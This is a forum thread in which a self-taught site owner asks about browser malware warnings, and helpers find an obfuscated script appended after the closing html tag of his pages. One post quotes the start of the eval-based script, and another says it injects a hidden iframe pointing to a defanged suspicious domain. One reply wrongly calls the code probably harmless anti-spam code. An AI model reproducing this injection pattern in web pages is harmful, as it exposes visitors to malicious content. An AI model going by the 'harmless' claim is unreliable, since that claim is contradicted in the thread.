web site problem - questions

[h2oman]

I have a website for my photos. I made all the pages as html files, and the site is hosted by Hostmonster. The problem is that when some people go there they get a notice that they may get malware from the site.

I'm not terribly knowledgeable about computers. If there is malware, is it lurking in my files, or is it something on my allotted space on the host's server? What can I do about this?

[J D Clark]

Gregg,
I saw that message yesterday on another thread -- I looked at the HTML in your pages, and after closing the HTML block ( </html> ), there is a script block that some browsers could interpret as something bad. It's convoluted, and I can't determine what it's doing without much scrutiny. This block of code starts with:

<script>var RKPhE="16DDt16%nJ";var Itt9i="c1N4Cc1N5";var OZZn="';eval(une";var hkMkW01M="pv%690";var ZBEV=".replace(/F";var MNwgt="1Dt1ag%";var ZWTY="7%707R7%317";var CFcOToo="N77c1N69c1N64";var BpMGy="1agADt12FDt1";var eJ45hE="%6C0pv%6";var lp1GDa="XH0pv%270pv%6";var BSsx9="4Dt16ag";var BilS="pv%740pv%790";var nC7bmcIg="qJH5w6";var DadfCyS8="w63qJH5w75";var vaQxi="t1%nJ7Dt14AD";var ...

Maybe someone else knows what this does... IE 7 does not issue the warning.

John Clark
www.johndclark.com

[Drew Bedo]

My website was put together by Lynn Bell Designs at www.lynnbelldesigns.com . It looks good and works well.

[percepts]

My website was put together by Lynn Bell Designs at www.lynnbelldesigns.com . It looks good and works well.

hope it works better than the link you gave :rolleyes:

[h2oman]

Other than causing the message that there may be malware :( , my site looks good and works well too, all by myself! :D Although I'm not that good at it, I like doing it myself. I can make small changes whenever I want.

Thanks John, I see what you mean. I'm going to contact the tech folks at my web host to see if they know what that is about. :cool: It only seems to appear on some (most?) of my pages, and I definitely didn't put it there!

[Scott Knowles]

Safari issues the warning. How or with what did you develop your Website? Check your copy (on your computer) with the host version. My suggestion is simply take the script out (everything after the </html> tag). I've seen it before and not sure what it is except maybe it's added by someone at the host or someone with access. You should also report it to your host. It's not supposed to be there.

[h2oman]

I just write simple html pages myself, then upload them to the host. I never put any script lines in at all, and on my computer all the files end with </html>. Like I said, I'm going to call the tech folks at the web host, but haven't gotten to it yet. Thanks for going to the trouble to take a look!

[iamjanco]

The code is probably harmless, but not all browsers and/or internet security apps might think so. I do know that the first part of the code in this case is associated with preventing spamming (the "vars" are variables used by the "eval" process, the definitions for which appear to be stored elsewhere). The code itself is probably added to the end of user html files by the host when uploaded. Happens frequently in the case of cheap hosting, but not always, e.g., when you've got that kind of host that likes to add advertisements or banners to your pages.

[J D Clark]

The problem is that the code is deliberately obfuscated so you don't know what it does. Since it wasn't added by you, it could have been added by your host, or maybe a hacker -- my wife's business web site was hacked, and while they didn't do anything nearly as subtle, I dropped the hosting company as soon as possible.

More than likely, it was added by your hosting company, but I would ask them to explain what it's doing. Any reasonably reputable hosting company *doesn't* muck with your web content.

John Clark
www.johndclark.com

[percepts]

Thats real bad code in your website. It creates a hidden iframe in your page into which it loads the following link:

pics(dot)bubbled(dot)cn/gallery/hardcore/?23c4f60c1b9f604d6ffb21cba599301f

You should move to a different webhost immediately as your current one has either put that code in your site or its security is so poor that it has allowed someone else to put it there. Either way you are with a bad web host. That code will also use plenty of bandwidth at your expense if you are paying for it.